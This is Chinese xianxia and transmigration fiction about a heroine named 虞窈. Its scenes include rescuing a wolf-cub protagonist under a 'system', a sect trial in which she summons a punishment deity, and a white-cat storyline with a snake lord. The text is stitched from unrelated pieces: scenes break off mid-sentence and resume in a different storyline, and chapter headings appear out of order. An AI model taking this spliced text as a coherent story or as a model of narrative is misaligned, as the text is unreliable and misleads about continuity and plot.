这座被下过禁制的山峦灵气稀薄,兽族想要修炼成妖难于登天,所以这只修为已有筑基大圆满境界的熊妖几乎是这里的“一方霸主”。 熊妖理所当然地要求山林里开了灵智的小妖按时给它送去食物,简而言之就是得交保护费,否则就要小妖们拿自己当做贡品。 连自己的温饱都成问题的狼崽自然不可能答应这种无理的要求,于是就和熊妖打了一架。 轻敌了的熊妖没能在狼崽手里讨到任何好处,狼崽腹部的伤同样是拜熊妖所赐。 如果可以的话,狼崽其实并不想和熊妖再度对上。 至少,不能够是现在。 上次之所以能在筑基大圆满境界的熊妖爪下全身而退,纯属是他运气好。 这次熊妖长了教训,狼崽自己也不知道毫无修为、还带着一身伤的他究竟能有几成胜算。 说来算是他倒霉。 他只是想趁目前身上的伤稍微好了一点,出来捕点食物。 运气好能碰上小神仙的话,就将捕到的猎物当做谢礼送给她。 毕竟有了昨晚的经历,他已经知道,那只玉瓶并不是什么警告,而是可以用来疗伤的药。 而他身上的伤之所以能够有所好转,都是小神仙的功劳。 偏偏食物还没找到,就先碰上了熊妖。 尖锐熊爪裹挟着劲风,转眼已经呼至少年跟前。 少年的精神高度紧绷着,下意识便想要变回雪狼原型,以躲开熊妖这一击。 然而比少年速度更快的,是挡在他面前的一把泠泠雪剑。 雪剑剑身纤细,剑镦上还缀着一只可爱的小猫玩偶,看起来很像一把中看不中用的“花瓶”。 然而在与熊妖的熊爪对上后,雪剑只发出了“铮”的一声剑鸣,剑身完好无损,熊妖的爪子却瞬间多出了一道深可见骨的血痕。 熊妖吃痛,骤然“嗷”地叫唤了一声,同时连连后退了好几步。 它略有些忌惮地瞪着凭空出现的虞窈,竟口出人言了:“你是谁?” “我是谁很重要么?”虞窈语调随意,“不过,既然你诚心诚意地发问了,那我就大发慈悲地告诉你好了。” 她莞尔一笑:“听好了,我是你爹的三姑的四侄儿的上司的朋友的你没有血缘关系的姑奶奶。” 熊妖虽开了灵智,但说到底,也只是这座山林里一头修为稍高一点的凶兽而已。 它费力地理解着虞窈的这一番话,尤其里头还有一两个它从未听说过的词汇。 忽见面前的女人掩唇,唇间溢出一声不加掩饰的轻笑,才后知后觉地反应过来,这女人方才是在耍它。 意识到这一点的熊妖怒极,登时发出一声怒吼,叫嚣着直冲虞窈而去。 可它哪是已有金丹中期修为的虞窈的对手。 短短几个回合交手下来,就已明显处于了下风。 眼看自己完全打不过虞窈,熊妖的眼珠一转,忽地将目光放到了狼崽身上。 既然虞窈铁了心的要护这小狼崽子,那它先把小狼崽子抓住当人质不就行了? 虞窈敏锐地察觉到了熊妖的意图,只可惜终究还是晚了一些。 在熊妖的爪子即将拍到狼崽身上的时候,虞窈瞬间闪至狼崽身边,将他护进了怀里。 奈何这里的灵气实在太过稀薄,虞窈来不及凝聚足够的灵气使出第二次瞬移术。 即使勉强侧身避开了熊妖的利爪,手臂却还是被强劲的爪风堪堪擦过。 衣料被割破了个小口,鲜血随即涌了出来。 瞥见这一抹血色的狼崽微微睁大了眼,呼吸也跟着变了,虞窈却眼也不眨。 和在之前的那些任务世界里受过的伤相比,熊妖给她添的这道小伤无疑是蚊子挠痒痒。 她放下狼崽,毫不犹豫地提剑去追落荒而逃的熊妖。 一剑刺穿熊妖的心脏后,虞窈面不改色地收了剑,这才转身走回到狼崽面前。 说起来,这算是她和狼崽第一次正面碰上。 虞窈先前也全然没有料想过,她和自己攻略对象的首次碰面,竟会是在这样的情形下。 大抵是为了遮掩自己的身份,狼崽那双雾蓝色的瞳眸不知在什么时候变成了漆黑的墨色。 虞窈并没有选择揭穿。 瞥及狼崽一移不移地盯着她手臂上的伤看了好久,虞窈刚想出言安慰说她没事,这种小伤一点不疼。 就见狼崽突然扭头就跑。 虞窈还没来得及说出口的话于是硬生生卡在喉头,最后化作一句吐槽。 哈?小狼崽子跑得还挺快。 不过她倒也没奢望过救狼崽一次,狼崽就得对她感恩戴德。 还是那句话,暂时先慢慢来吧。 只要这座山峦里没有出现九洲人的踪迹,那她就有的是时间跟狼崽耗。 虞窈摇摇头,不再去想早已跑得没影了的狼崽。 她低头开始查看还在流血的伤口。 没什么事情用以转移注意力的时候,臂上的爪伤其实还是稍微有那么一点点疼的。 虞窈在储物囊里翻翻找找好一阵,正准备用灵药来疗伤的时候,忽听旁侧传来一阵窸窸窣窣的声响。 她顺着声音的来源抬头望去,竟是去而复返的小少年。 他跑得很快,跑到半路时还险些凭空摔一跤。 少年却浑不在意,气喘吁吁地停在虞窈面前,一言不发地将手中玉瓶递给了她。 是虞窈昨晚留给他的那瓶灵药。 虞窈眨一眨眼,愣愣地看着那瓶药。 所以,小狼崽子刚才跑得那么快,其实是着急给她拿药去了? 她心里突然多出一种说不清道不明的滋味,转瞬即逝。 狼崽却误解了虞窈的意思。 他以为她是在嫌弃药瓶上的泥巴。 狼崽抿了抿唇。 小神仙哪儿哪儿都很干净,仙气飘飘的,会嫌弃也是情理之中的事。 但是没办法,他不像熊妖,强大到能在这座山林里拥有一座属于自己的巢穴。 又怕随身携带很有可能会弄丢药瓶,只好在附近挖了个洞,将药瓶小心藏了起来。 只是他忽略了前几天下的那场雨,干净的药瓶沾上了湿土,也变得脏兮兮的了。 像他一样。 狼崽心底忽然升起一阵没来由的挫败感,如果此时的他是狼型的话,恐怕耳朵和尾巴都要跟着一齐耷拉下去。 他想让虞窈不要嫌弃这只脏兮兮的药瓶,他其实是很宝贝她留给他的东西的。 毕竟他曾经遇到过的那些人对他都是恶语相向、喊打喊杀,只有虞窈为他包扎伤口,还送他用以疗伤的药。 可是狼崽已经太久太久没有说过话了。 以至于喉咙间一时只能发出“嗬嗬”的吸气声,很像冬天凛冽的寒风穿过破败的窗户缝隙时,会发出的那种声响。 越着急,就越发不出正常的声音。 狼崽于是垂下头,开始用自己的衣袖擦拭药瓶。 偏偏在山林间待久了,他的衣袖同样没干净到哪里去,就连挖过湿土的手也是脏兮兮的。 药瓶越擦越脏,少年的动作也肉眼可见地越来越急。 但很快,小少年整个人都僵住了。 只因虞窈突然将他的手牵了过去。 非但没有嫌弃他手上的泥污,反而很仔细很轻柔地用干净柔软的巾帕帮他擦干净了手。 随即她抬起头,弯起了那双栗褐色的漂亮眼睛。 温温柔柔地冲他笑了一下。 不过月女并没有细想,只是抱着膝盖,坐在猫的旁边认真地点了点头:“好像是有这么一种说法的。” 小白猫于是慢慢趴了下来,也认真地揣起白手套,目不转睛地盯着天上那颗最亮的星星。 猫这会儿的眼睛也亮亮的,尾巴慢悠悠地在身后晃着。 忽然很轻地说了一句话,轻到连就在身边的月女都没有听清,还以为是自己产生了幻听:“真好。” 阳春三月,正是万物复苏的季节。 本该到处都是风和日暄、春色撩人的盎然之景,然而在一座乱石丛生、云雾笼罩的荒凉山峦深处。 一阵急切的脚步声隐秘响起,雪色鞋履不经意间踩上坑洼,溅起的水花模糊了水面倒映出的清丽人影。 “系统,你确定狼崽真的躲在这种鬼地方?”虞窈衣袂飘飘,拧眉观察了一圈周围。 参天树木蔽去阳光,缥缈雾气遮挡住了部分视线,好在虞窈已有金丹修为,所以视觉上并未受到多少影响。 与此同时,系统的滋滋电流声在虞窈的脑海中响起:“确定。” “此处是早在上古时期就被设下过禁制的僻野之地,视野受限,灵气稀薄,多数法器在这里无法使用,对于主角来说,是最佳的藏身之所。” 系统口中的“主角”是虞窈此次任务的攻略对象。 而这也是她从任务管理局退休前需要完成的最后一个任务——让这本仙侠小说里的疯批主角改邪归正。 原著里的主角本该无忧无虑长大,却因为一则预言被九洲人灭了全族。 主角虽侥幸逃脱,从此却也踏上了被无数所谓正道修士通缉追杀的道路。 好在有主角光环在,主角虽不慎走火入魔,却也因此获得了九洲无人能够匹敌的力量。 只不过为了报仇雪恨,逐渐变得冷血无情、阴狠毒辣的主角竟在成魔后屠尽了整个九洲,同时也致使了这个小世界的崩坏。 虞窈需要做的便是提前穿进书里感化主角,以防主角重现书中剧情,在不久后的将来毁了这个小世界。 所幸此时的主角还只是个十五岁左右的半大少年,而非之后那位冷血冷面的白狼魔尊,按理说攻略难度并不算高。 偏偏虞窈穿成的身份角色有点特殊,是那位带头灭了整个狼族、且全洲通缉其唯一余孽——也就是主角的虞菀仙尊。 虞窈很是心累。 拜托,让主角最恨的仇家来感化主角?这到底是哪个大聪明的小脑袋瓜想出来的啊? 为了让攻略任务能够顺利地进行下去,虞窈立马就要求系统给她一个新的身份,不可太过惹眼,也不能是个无名小卒。 且还要以虞菀仙尊的名义宣告外界,她接下来要闭关很长一段时间,拒绝对外示人。 按常理来说,系统是不能为虞窈提供任何便利的,这相当于是在给她开金手指了。 偏偏虞窈察觉到了系统的沉默,故意用阴阳怪气的语调说道。 “不会吧不会吧,你不会想把这种烂摊子甩给我,还想让我一边当虞菀一边攻略主角打两份工吧?这么会压榨员工,我要向上面举报你个榨汁机的噢。” “榨汁机”系统:“” 它最终还是答应了虞窈的要求。 要想攻略主角,当务之急自然是得先找到主角。 虞窈半信半疑,随手拨开一处灌木丛,纳了闷了:“那我怎么别说是头狼了,连只鸟的影子都没看到?” 脑海里的电流声还在持续滋滋作响,虞窈一双美目轻转,忽然就停下脚步,清了清嗓。 “咳咳,神通广大无所不能的统~” 系统:“10934号员工虞窈,请您正常说话。” 虞窈充耳不闻,只笑眯眯地抬头望向白茫茫的天空:“统啊。” “你肯定知道小狼崽具体位置在哪儿的吧。” “你肯定不想让九洲的人比我先找到他的吧。” “你肯定会优先方便同事的吧。” 系统听出虞窈的言外之意,义正严词道:“10934号,你这是作——” “弊”字尚未出口,虞窈便撇起嘴巴,语气无辜得很。 “可是我找不到嘛。万一九洲的人先发现狼崽了,你我的绩效不就都没了吗,你就行行好呗?” 身为任务管理局的老人,虞窈是局里人统皆知的“老油条”。 在她眼里,她虽然在任务管理局任职,但她和管理局之间其实是合作的关系,而非劳务。 毕竟任务管理局需要他们这些所谓的员工下场才能解决这些小世界里大大小小的各种问题,所以她个人认为,管理局理应最大程度地为他们提供便利才对。 且虞窈行事向来秉承一个原则,能不自己做的事就坚决不自己做。 趁系统现在还处在交接任务、不能离开的阶段,有这么好用的系统在手边,干嘛放着不用? 系统:“。” 所以说,它在任务管理局里最不想碰到的宿主是10934号不是没有原因的。 沉默过后,一阵微风吹过,拂落的枝叶统一飘向了西北方向。 见状,虞窈立时扬起笑脸,朝着空无一物的半空比了个心:“谢谢统,就知道统统你最好了,啾咪。” 这座山峦被设下过禁制,许多法宝自动失灵,其中也就包括了虞窈的代步法器。 沿着系统指示的方向,虞窈一路向西北行进,从天刚蒙蒙亮一直走到了正午,依然一无所获。 就在虞窈忍不住开始怀疑系统是不是在驴她的下一秒,她眼尖地在一处灌木丛的枝叶上发现了一抹不起眼的斑驳血迹。 虞窈心念一动。 她下意识地便屏住了呼吸,轻手轻脚地挤进灌木丛,侧身往深处走去。 进得越深,沿路留蹭在枝叶上的血迹就越浓。 直到拨开最后一处灌木丛,眼前出现了一片泥泞的湿地。 一只瘦骨嶙峋、浑身都脏得不成样的小狼崽映入眼帘,它一动不动地蜷缩在角落里,看起来很像是断了气。 是虞窈一直都在寻找的主角无疑。 狼崽周身的绒毛几乎都黏腻在了一起,瞧不出原本毛色。糊成一团的毛发也将出血的伤口给挡住了,很难看出它究竟具体伤在了哪里。 与其说是只狼,虞窈觉得此时又瘦又小又脏的狼崽看起来,其实更像下雨天时她在路边碰到过的流浪小狗。 可怜兮兮。 虞窈没有贸然靠近,她远远看着,唇角微抿。 薄弱阴冷的阳光下,那双栗褐色的瞳眸里一时有诸多情绪翻涌交织。 系统将这一幕尽收眼底,浅浅松了口气。 10934号先前接的大多都是末世、未来战争之类的任务,按理说,这种温情攻略向的任务是不应该交到她手上的,上面多数都担心她无法胜任。 但目前看来,虞窈还是存有一定的同理心的,至少看到主角陷入这种境地,她会为之动容—— 刚想到这里,系统就见虞窈抬手指向一动不动的狼崽,波澜不惊地问出了五个字。 “统,它死了啊?” 系统:嗯? 等会儿,什么叫“它死了啊”?它死了还要你来攻略什么?攻略空气吗? 发出一连三问的系统决定立马收回上述它说过的所有话。 10934号她会动容个鬼啊。 系统:“10934号,请注意你的言辞,主角它现下只是饿晕了而已。” 不知是虞窈的错觉还是怎么,她似乎从系统一成不变的机械音里听出了一丝咬牙切齿的意味。 虞窈若有所思地“噢”了一声,紧接着转身就走,没再多看地上的主角一眼。 这一套操作下来直接把系统给干沉默了。 五秒钟后,系统的咬牙切齿变成了隐隐崩溃。 “等等,10934号,你怎么就直接走了?!” 虞窈像是没有听到系统近乎崩溃的质询一般,只一言不发地缓步往回走,不时摆出侧耳倾听的姿态。 就这样慢吞吞地走了许久,才忽地停驻了脚步,转头望向旁侧,杏眸微弯。 “找到了。” 她从灌木丛的缝隙里穿过,随即映入眼帘的是一条清澈的涓涓溪流,水声叮咚。 见虞窈边往溪边去,边将袖子挽了起来,系统大概猜到她想要做什么了。 在去寻找主角的路上,虞窈肯定就耳尖地留意到了周遭溪流的声响,所以刚刚才会那么果断地暂时抛下主角不管,掉头回来抓鱼。 只不过—— “10934号,你没有捕鱼的工具。”系统适时提醒。 至于虞窈就别想再指望它了。 前两次为虞窈提供便利已经算是它破例,再给她开金手指就不太礼貌了。 “谁说我没有的?”虞窈边说边拿出随身携带的储物囊,从里抽出佩剑。 系统见状哑然。“” “猫想娘亲。” 第 32 章 第三十二章 出发去往鬼市的第五天,一路上都在打瞌睡的猫忽然感觉到飞车正在缓慢下行,随即便听见了好一阵的人声鼎沸,由远及近。 像是将一路的无人之境远远地甩在了飞车后面,终于再次迎来了市井的烟火气息。 小白猫睁着双圆溜溜的大眼睛,立马就好奇地拱到了车窗边上,想要看看现在外面是何种情形。 只是猫刚用肉垫掀起窗帘一角,便蓦地停顿住了。 只因猫从这密密麻麻的人与妖交织的复杂气味里,还捕捉到了一股从未闻到过的特殊气息。 既然黎琴敢当众这样污蔑虞窈,以她缜密的性格,想必留有后手。 虞窈不为所动,等着她亮出底牌。 她身后的羲照,挤开众人,道:“胡说八道些什么,你那点资质,值得我妹妹夺你气运?黎琴你疯了不是?” 黎琴的神色分毫没有被这句话影响,一身单薄雪裙,衬得脸颊冷白。 “既然我的资质平庸,那虞窈为何还要觊觎它,将它夺走?” “今日她夺我气运,换我二人命格,后日是不是便要置我于死地?难道我就应该被这样对待吗?” 她声音微哽:“虞窈,你自己说!你是不是对我实施了禁术?” “那一日我渡雷劫,你是不是为了杀我,在林中布下了天罗地网的陷阱!” 话语落的一瞬,虞窈体内缄口术发作,无形的朱杀丝缠绕上她的脖颈,一点点抽走她腹中的气息,不允许她开口回答一句话。 满场寂静,皆等着虞窈回答。 “虞窈,你说,是不是?!” 黎琴再次逼问,眼中泪珠夺眶而出:“你害我变成如今模样,抢走我的灵力,占去我的一切,令众人奚落我,百般针对我!” 虞窈注视着那双眼睛,她曾抚摸着夸赞漂亮,可此刻里面浸满恶毒。 缄口术在掐她的脖颈,逼着她给出与内心相反的回答。 在场所有人目光皆落在虞窈身上,那张面容无动于衷,神色越发冷淡,甚至有些淡漠,仿佛只在看一个无关紧要的人。 黎琴后退一步,见她不回应,袖中变出一物。 那是一只水镜石。 镜中清楚了记录下了,黎琴渡劫时,另一道暗影飞出,是如何开出夺命的法阵,要夺黎琴的命数。 镜中画面一出,掀起轩然大波。 试问明泽仙宫,谁有这个本事,能够施展这种禁术? 放在符篆、阵法一术,向来第一的虞窈身上,完全可能做到! “是你吗,虞窈?” 数不清的语句从各个方向,飘落到虞窈的耳中。 长老们震惊的、与她素来不和师兄师姐嘲讽的、师尊怀疑的,众人不敢置信的…… “虞窈小师妹不像是这样的人,怎么可能做出这等残忍之举?” “可那水镜石中所记录的景象,千真万确假不了,难道黎琴还能凭空生出这一段景象不成?” “虞窈开口呀,若是有冤、或是另有隐情,赶紧给自己辩解!” 虞窈漠然看着黎琴,只是这副神情,又被众人解读出了许多来。 黎琴的身后,走出了几位执戟仗剑的羽民国人。 黎诏来到黎琴身边:“今日便揭穿这猫族王女的虚伪面目,请诸位见证,为我羽民国公主讨一份公道!” “什么羽民国,你们猫人还敢来讨要公道!”羲照骂道。 “放尊重点!” 那句“猫人”,引得羽民国几位侍卫不满,当场拔出长剑,此情此景,猫族的灵修哪里还能袖手旁观,立马围上去,与黎诏几人扭打在一起。 场面一时剑拔弩张。 “哥哥!”虞窈的声音响起。 羲照回头,见高台上方虞窈红唇微启:“回来。” 羲照这才骂骂咧咧松开黎诏,“猫人,给我等着!” 骚乱停了下来,黎诏目光狠厉,抬手整理了下被扯乱的衣襟。 黎琴仍在与虞窈对视。 浓烈的恨意弥漫在心头,她想到即将手刃仇人,全身血液都叫嚣着,兴奋无比。 这万年来,她压抑的仇恨、妒忌、不甘、想要得到她认可,却又难以抑制对她厌恶……各种情绪在心中交织。 这份感情,她亲手搭建,如今又亲手摧毁,看着它支离破碎。 怎么能不恨呢?自己被虞窈夺走了一切,被夺去了父母。 那现在,她就要杀了猫王的女儿,让虞窈死在自己手里。 她也只能死在自己的手里。 众位长老看向苍琼上神:“苍琼上神,这到底是你座下两位徒弟的事,当由你来决断。” 苍琼神色复杂,“黎琴,你可有人证?” 黎琴愣了一瞬,道:“师尊何其偏爱虞窈,水镜石只记录真实情景,不可能作假,师尊既已看到,为何还要询问人证?” 苍琼看她泪珠闪烁,身子轻轻一震。 “且,我的兄长便是人证。” 黎诏走出一步,“是了,那日我妹妹收到虞窈遇到危险求助的传音,立马入禁地寻找虞窈,不想雷劫提前到来,又遭到虞窈算计,九死一生方才逃脱。” 话语说完,几位学宫中师兄师姐,纷纷为黎琴作证。 “当时我们与黎琴在一起,她的确收到了虞窈的传音。” 苍琼拧眉看向虞窈,“你呢,虞窈,可有话要说?可有人证?” 虞窈没有回答,这几个灵修,便是和她在学宫不合对上的那几个。 她看向黎琴手中的水镜石。 水镜石一向只记录真实发生的事,为何今日会展现错误画面? 是因为气运被调换,体现在水镜石中,她虞窈就成了算计人的那个,对吧? 至于她的人证—— 羊滢因为秘境中仙气撤走,受到鬼水沼泽波及,受伤先回了寝舍。除了她,学宫没有人可以为她证明。 黎琴道:“还望长老即刻决断,惩治虞窈!” 苍琼上神转过身来,目光微寒:“虞窈!” 一旁的晏歧忽然开口,“虞窈渡雷劫那日,弟子便在林中。” 他话语一出,在场人皆敏锐捕捉到了关键的语句。 什么叫,虞窈渡雷劫? 黎琴的神色紧绷。 晏歧何许人等? 祝衡上神座下首席弟子,明泽仙宫年轻一辈第一人,在天然慕强的灵界,自然颇得诸位弟子的敬仰,只是性格桀骜,一向不参与学宫中事,今日却突然开口,那众人必定是要听一听的。 只怕,他知道些许内情。 长老道:“你看到了什么?” 祝衡上神道:“晏歧,你说,渡雷劫的是虞窈?” 晏歧道:“那日弟子入禁地,撞见黎琴兄妹,在林中搜罗着什么人,倒也奇怪,此前亲眼看到是虞窈渡雷劫,飞升成仙的反倒是黎琴,今日听调换气运一说,一下便明白了。” 一石激起千层浪。 虞窈察觉到他投来深深的一眼,心颤了一下,不知他是否会往那被黎琴追杀的小猫身上想,但一时也顾不上此事。 黎琴道:“少君偏袒虞窈,与虞窈一同进秘境,利益捆绑在一处,话语有几分可信?也不知虞窈是如何迷惑了少君,让少君对着水镜石记录的画面,还能颠倒黑白?” “住口。”祝衡上神打断,自己座下弟子,岂容外人诋毁。 黎琴扬起头,看见晏歧点漆般的眸子中浮起冰冷笑意,眉梢勾染上不悦,黎琴被那眼神看得后背发麻,知晓自己定然是惹毛这位少君。 但她不得不继续:“旁人千言万语,抵不过虞窈一句话,她若有冤,自然早就为自己辩白,可为何迟迟不开口?” “虞窈,人证物证俱在,你还有何要说的!” 是了,从头到尾,虞窈都没有开口为自己辩白一句。 这么大一顶帽子扣下来,寻常人不得急着撇清干系,可虞窈为何久久不言? 到底是沉得出气,不屑辩白,还是说,当真做了恶事,被质问得说不上话来? 漫长的沉默,人群滋生出了异样的情绪。 然而众人看不到,虞窈体内的朱杀丝,如蛔虫在她身上游走,慢慢攀爬上她握着圆盘的手,阻断着她接下来的动作。 虞窈的喉咙口升起一股血腥之气,指尖被束缚得轻轻颤抖。 所有人都在看着她:长老们不解的,师尊疑惑的,羲照焦急的…… 虞窈突然张口,满场嘈杂声静了下去。 “我的确,想要杀死黎琴——” 全场一片哗然! 谁也想不到,那素来待人和煦,对谁都明媚含笑的虞窈师妹,竟会做出残害同窗之举! “不过。”她突然再次开口,声音传遍广场。 少女忽然笑了:“并非黎琴口中之事,而是因为,她夺我命格在先!” 黎琴的耳畔嗡鸣,如何也想不到,虞窈竟能挣脱那缄口术! 却见虞窈后退一步,早有准备的羽民国侍卫们,飞身猛扑而来,手中变幻出一条蟒蛇般粗壮的锁链,要当场将她锁住,却不想,她根本不是要逃脱,而是从斜跨袋中拿出一物! 一只墨色的圆盘从她掌心飞出! 她低下身,手掌着地,迅速祭出一道盘桓复杂纹路的圆盘。 迷雾乍起,长老们根本来不及阻止她的动作。 羽民国侍卫们持剑,奔入迷雾,可接着,一股滔天的法力涌来,被猛地震出,跌倒在地,口吐鲜血。 整片土地都在震动,像是一股力量自远古传来,在积聚着,等待着爆发。 众人只觉心都被迷雾攥住,分不清东西南北,看不清身边人,议论着虞窈是不是要逃脱。 那圆盘折射出蓝光,当全场看清,迷雾后出现的那道身影时,齐齐定住。 一股无形的声音在众人心中响起,告诉了众人,那是谁。 戒律真神! 掌刑罚、管天事的戒律真神,凡是世间之事,错与对,善与恶,皆逃不出他的眼睛。 已经陨落数万年的真神,重新现世! 在虞窈的阵法传召之下! 浓雾散去,戒律真身幻象高达千仞,平等地睥睨众生,如在俯看蝼蚁。 在他身前,少女金色的衣袂飞扬,声音坚定清亮,响彻天地。 “今日今时,戒律真神在此!” “为我虞窈鸣冤,还我被调换气运!” “天地审判台,开启!”湿湿冷冷的,没有任何生气。 小白猫下意识地轻微炸了毛,一开始还以为是自己闻错了。 直到晏岐的声音在身后冷不丁的响起:“是鬼。” 闻言,小白猫有些惊讶地回头望去,径直对上了晏岐那双墨绿色的眼睛。 晏岐这会儿也在看猫,眼里的眸光原本是很淡的。 猫彻彻底底地石化住了。 晏岐却像是并不觉得自己做了什么了不得的事情般,只是重新从容地抱起猫儿,轻呵了声。 男人的声音轻缓,一如既往地清润好听,只是语调平淡得实在听不出什么情绪。 “喜欢蝴蝶,喜欢那橘猫,就连素未谋面的狐狸也喜欢。” “就是偏不喜欢本尊,是不是?” 第 33 章 第三十三章 一猫一蛇这会儿的距离挨得极近,虞窈能够清晰地感觉到自己被晏岐身上的气息重重包围着,男人说话间呼出来的热气也落在了一对毛茸茸的耳朵尖上。 虞窈的耳朵向来是她全身上下最为敏感的部位之一,下意识地便自己动了动,像是拥有了自主意识般,还起酥酥麻麻的阵阵战栗。 小白猫浑身的毛也在一瞬间尽数炸了开来,同时感觉自己变成了一只熟透的虾,就快要红温得彻底。 猫窦然瞪大眼睛。 晏岐这条臭蛇怎么可以怎么可以 他是疯了吗? 该死的登徒子,居然敢对一只小猫做这样的事情。 “是我。” 虞窈抬起头,望着王座上的女子。 四洲翼族以猫族为尊,实则是以羲媱神女为尊,视神女为精神图腾。 便是当今统治四洲的神主,在上古时期,面对羲媱神女,也得退居一旁,为神女让道。 羲媱道:“你父年轻时,我曾幻化秘境救过他一次,可他未曾醒来,倒是没想到,几万年后,我又选中了他的女儿。” 羲媱神女声音轻渺悠远,若来自远古。 “虞窈,我关注你很久了,在你三千岁那年,你与你兄长被海兽卷进水中,我便注意了你。” 虞窈的神色因为“兄长”而微凝。 “你兄长为了救你,溺死在海里,你却活了下来,你的父王母后不曾因此怪罪过你,你却难以释怀,是不是?” “所以你拼命弥补,日夜苦练,不曾断过一日修炼,只为求早日独当一面,为你父王分忧。” 神女的话语极轻,却像一把无形的刀,慢慢揭开她心底深处的秘密,那些已经结痂不能示人的伤口,再次被残忍地剥开。 “后来,你来明泽仙宫,与你的家人分离,聚少离多,你还有一个妹妹,与你父王母后朝夕相处,你面上从来不提,却十分羡慕,甚至觉得父母偶尔爱你的妹妹,比爱你更多。” “没有。”虞窈打断。 她的眼睛轻颤,“是我主动提出要来仙宫,这些我早就预想过,我比妹妹年长许多,可我爱她,也爱我的父王母后。” 羲媱神女凝望着她,话锋一转:“可,你被调换了气运。” “被至亲至爱之人。” 羲媱道:“你需要有人为你平反,需要有人为你张口,需要他为你鸣冤,被至信之人夺去不好受吧?你习惯了将一切都藏在心里,表现得满不在乎。会伪装才是强者,虞窈,你比你的父亲强太多了。” 她化作了一缕青烟,围绕上虞窈,双臂轻轻攀上她,“在你历经雷劫被调换气运,我就应该出现了。” 但她没有。 虞窈感受着她的气息,耳畔回荡着她的声音:“因为那时我还不敢确定,你的本心如何,今日看你舍身救你那位友人,我才确信可以选中你。” 羲媱神女残存于世的最后一抹神识,为她挑选能继承遗志的继承人,需要满足三个要求: 一为,天赋卓绝,灵心慧性。 二为,心性坚韧,求道志坚。 三为,心道纯洁,本心至善。 可自上古以来,符合要求的翼族人屈指可数,便是虞窈的父王,也折在了“坚韧”二字之上。 “所以,神女选中了我?” 羲媱眼眸倒映着她的面庞,伸出手,掌心浮现一把灵弓。 紫色的弓身,覆盖着华丽的紫色羽毛,其上灵力涌动,她示意虞窈接过,虞窈轻轻一拨,力量流泻而出,直达心田。 那一刻,她好似感受到了洪荒古力。 “这是我陨落前,打造的最后一把弓,从未示人。” 虞窈问道:“它叫什么名字?” “斩薇。” 这世间最渺小的是微尘,最庞大的也是微尘。 那这世间最厉害的兵器是什么? 是能斩断世间一切的微尘的武器,令寸草难复生,令天地颜色颓变,令世间陷入荒芜。 斩薇斩薇,一动可以惊天地。 虞窈轻抚弓身,紫色的灵力倒映在她面颊上,如水波一般流动。 羲媱看着她的动作:“此弓蕴藏着我昔日神力,唯有你达到我的要求,它才会真正属于你,翼族之大,猫兽之多,总有比你更合适的继承人。若你无法驾驭它,我有的是时间可以再寻旁人。” 羲媱以为少女听罢,定会做那小辈抱拳之状道谢,却不想她开口,道:“此前万年,猫族都未曾听过神女现世,如今神女却选中我,那想必,这万年来唯有我才能叫神女满意?” 她眼中光亮灼灼,“我会叫神女对我刮目相看,彻底放心将此弓交给我。” 羲媱道:“你知道我的要求是什么吗?” “我要你,”她停下,看着虞窈良久,“成神。” 虞窈的神色定了一刻,“成神?” 何为神?神与仙力泾渭分明,隔着一条天堑,神的力量源于宇,源于宙……得天道的认可。 上古时期,众神出世,羲媱神女推翻其父的统治,此后众神混战,大洲各族陷入了一段时期的战乱,到后来战争结束,诸神陨落的陨落,沉睡的沉睡,只剩下几位真神还活着。 纵使诸神灵力凋敝,“神”之一字,依旧遥不可及,近数万年已无仙人飞升。 “自我陨落后,猫族便再没有出现过一个神,虞窈,我想你做到,可以吗?” 羲媱望着眼前人,回应她的,是少女回身一步,拨开灵弓,从搭弓到展臂,动作一气呵成,指尖掐住灵箭的箭尾,眯眼对准了幻境。 持弓而立,灵力涌动! “哗啦”一声,那箭射出幻境,搅动境外水浪激流翻涌,掀起滔天波澜! 她只是搭弓试了一箭,可分明已至斩薇弓的第三境。 “我自幼苦练灵弓,成仙化神亦我毕生所求,自当竭我所能,掌握这斩薇弓七境,不会让神女久等。” 她眸色湛亮,没有丝毫退却。 羲媱轻撩眼皮,未置可否。 “哐当”一声巨响,幻境承受了一击,左右晃荡。 羲媱皱眉,看一眼幻境外,道:“有人在找你,将弓收起,你该走了。” 虞窈闭上眼睛,抬手刚要在额心掐诀离开,忽睁开眼道:“还有一事,我需求助神女。” 羲媱似猜到她心中所想:“是你体内的缄口术?” “是,缄口术乃上古秘术,这段时间我一直被束缚,无法向众人吐露心声,若是我无端发难黎琴,只怕招来旁人口舌,不知神女可有办法助我?” “我确有一人可以解你的困惑。” 在虞窈询问前,羲媱神女已抬手,掌中浮现一丝蓝色的魂魄,变幻出一道高深莫测的身影。 浓雾消散,此人浮于浓雾之中,一张面庞冷沉清隽,气度高雅,通身是不容侵犯的威严。 “此乃戒律真神,掌刑罚,断天事。” 羲媱道:“帮我一个忙,我的后人。” 戒律真神居高临下俯视道:“你的后人?” 他的眸光扫来,虞窈只是触及到他的视线,便觉识海一暗,整个人被拖入一处昏暗之地,四周阴云密布,电闪雷鸣,她立在审判高台中,一双眼睛出现在高空,冰冷审视着她,仿佛要洞穿她身上的一切。 短短一刻,审判台骤然消失。虞窈的意识剥离,一下回到幻境。 戒律真神收回了视线,声音高渺如来自天际,“她被调换气运,是欺天之术。” 羲媱道:“明辞,帮帮她。” 被唤为“明辞”的男子,面容清冷,目光淬着一层寒冰。 戒律真神与羲媱神女一同陨落,虞窈却不知二人最后一缕魂魄在同一处。 戒律真神的魂魄,化进了一小圆盘,俨然审判台的样子,落入羲媱的手心。 羲媱神女道:“需要之时,将此圆盘拿出,祭出阵法,戒律真神会现身,开天地审判台,你若有冤屈,凡参与的人,都会受到该有的惩戒。” “有罪之人,从无遗漏,逃到天涯海角,也无法放过。” 那圆盘落入掌心,虞窈心中被缄口之术笼罩数日的阴影,终于透进来一丝光亮。 得戒律真神的一丝魂魄,只要出了秘境,便能审判黎琴与黎诏,所有参与的人,都会遭遇惩罚。 从始至终,皆由戒律真神主掌审判,甚至不用脏虞窈的手。 羲媱神女看似高冷不近人情,却帮了自己一个大忙。 她从幻境之中退了出去。 水底漆黑,伸手难见五指,虞窈将圆盘与存着羲媱神女意识的册子收入小袋中,挥动手臂向上方游去。 四周气压极低,压得人几乎喘不上气。 她的哥哥便是死在了水里,她实在害怕漆黑的水底。 她努力朝着上方游去,长发在水里散开,海藻一般铺在身后。 却在此时,水底传来巨浪翻涌之声。声音从地底深处传来,越来越近,仿佛在积攒着力量,就要爆发。 “哗啦啦”,一条水波做成的龙嘶吼,朝着她的地方急速地飞来,虞窈想要躲开,周边的水域却被生生劈开。 水底撼动,水浪翻涌! 